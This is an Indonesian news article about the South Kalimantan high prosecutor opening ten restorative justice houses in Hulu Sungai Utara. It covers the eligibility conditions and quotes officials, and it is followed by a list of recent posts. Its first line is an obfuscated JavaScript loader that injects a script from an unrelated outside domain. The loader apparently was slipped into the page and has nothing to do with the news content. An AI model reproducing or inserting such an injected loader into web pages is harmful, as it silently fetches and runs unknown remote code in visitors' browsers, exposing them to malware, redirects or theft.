(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Kajati Kalsel Resmikan 10 Rumah Restorative Justice di HSU


KANALKALIMANTAN.COM, AMUNTAI – Sebagai upaya pendekatan dan menghapus stigma negatif penegak hukum  di masyarakat, Kepala Kejaksaan Tinggi (Kajati) Provinsi Kalimantan Selatan, meresmikan 10 rumah restorative justice (RJ) di Kabupaten Hulu Sungai Utara (HSU)

Peresmian 10 rumah RJ tersebut ditandai dengan pemukulan gong oleh Kajati Kalsel Mukri yang dipusatkan di Aula Idham Chalid serta dihadiri Forkopimda HSU,  serta petinggi Kejati Kalsel dan Kejari HSU, Kamis (3/11/2022) siang.

Kajati Kalsel, Mukri mengatakan, dibentuknya progam RJ ini adalah sebagai bentuk penyelesaian kasus pidana umum di masyarakat lewat dialog dan musyawarah.

Progam RJ ini bertujuan untuk mengubah stigma negatif di masyarakat kepada aparat penegak hukum dalam penanganan perkara pidana.

 

Baca juga : Turdes di Tanah Laut, Gubernur Kalsel Serahkan Dana Hibah ke Ponpes dan Masjid

“Mungkin bapak/ibu sering mendengar, ada kasus pencurian pelapah kelapa, pencurian sendal atau pencurian satu, dua batang kayu, kemudian bergulir ke persidangan,” Kata Kajati Kalsel.

Beranjak dari dinamika kondisi problematika di masyarakat tersebut, ia mengatakan Kejaksaan Agung mulai membuat terobasan baru melalui peraturan Jaksa Agung Nomor 15 Tahun 2020 terkait penyelesaian perkara di luar persidangan yaitu restorative justice.

“Akan membuat putusan seringan-ringannya terkait perkara-perkara yang memang secara substansi sudah diselesaikan kedua belah pihak,” jelasnya.

Namun kendati demikian, Ia menyebut tidak semua perkara bisa dilakukan pencabutan tuntutan melalui instrumen restorative justice.

 

Baca juga  : Ketua GOW Banjar Nurgita Tiyas Komitmen Tekan Pernikahan Anak Usia Dini di Banjar

Adapun syarat yang harus dipenuhi untuk dapat dilakukan penyelesaian restorative. Di antaranya tindak pidana yang dilakukan pelaku merupakan perbuatan yang ancaman hukumannya di bawah 5 tahun.

Syarat selanjutnya, pelaku yang melakukan kerugian secara materil maka tidak lebih dari Rp2,5 juta. Kemudian syarat berikutnya, adanya perdamaian secara kedua belah pihak antara pelaku dan korban dengan mengikutsertakan dari pihak keluarga, tokoh masyarakat dan penyidik dalam penanganan kasus.

“Ketika syarat-syarat itu terpenuhi, maka penuntut umum selaku pemegang hak penuntutan sudah dapat mengambil keputusan untuk perkara ini apakah layak atau tidak dilimpahkan ke pengadilan,” beber Mukri.

Ia mengharapkan dengan adanya rumah restorative justice ini dapat mewujudkan ketentraman dan kedamaian bagi masyarakat.

Baca juga  : Fenomena Air Merah yang Dipercaya Bikin Kucing Enggan BAB, Begini Penjelasan Dokter Hewan

Selain itu, juga memberikan penyelesaian permasalahan hukum dengan perkara ringan, sehingga bisa pulih kembali seperti semua seperti tidak pernah ada terjadi sesuatu.

“Maka Pak Jaksa Agung memberikan suatu terobasan sehingga untuk perkara-perkara seperti ini (perkara ringan) yang tidak ada manfaat untuk sampai dibawa ke pengadilan,” pungkasnya.

Selain itu, Plh Bupati HSU yang diwakil Plt Asisten Pemerintahan dan Kesra, Sekretariat Daerah HSU, Amberani menyambut baik dan memberikan apresiasi atas pembuatan rumah RJ atau “Wadah Badamai” di 10 desa yang tersebar di 10 kecamatan se-Kabupaten HSU.

“Karena kami (Kabupaten HSU) terdapat 10 kecamatan, maka secara data masing-masing di setiap kecamatan ada satu desa yang ditempatkan restorative justice,” katanya.

Baca juga  : Kembangkan Pusat Data dan Informasi, Pemko Banjarbaru dan BIG Lakukan MoU

Menurutnya, rumah restorative justice merupakan bentuk kepedulian Kejaksaan Tinggi Kalsel dan Kejaksaan Negeri HSU dengan memberikan kepercayaan kepada masyarakat dalam menyelesaikan perkara secara musyawarah.

“Kehadiran rumah RJ ini diharapkan mampu menggali kearifan lokal dalam rangka mengimplementasikan nilai-nilai di masyarakat nantinya,” pungkasnya.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : cell


Desy Arfianty

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

4 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

6 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

7 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

8 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

11 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

14 jam ago

This website uses cookies.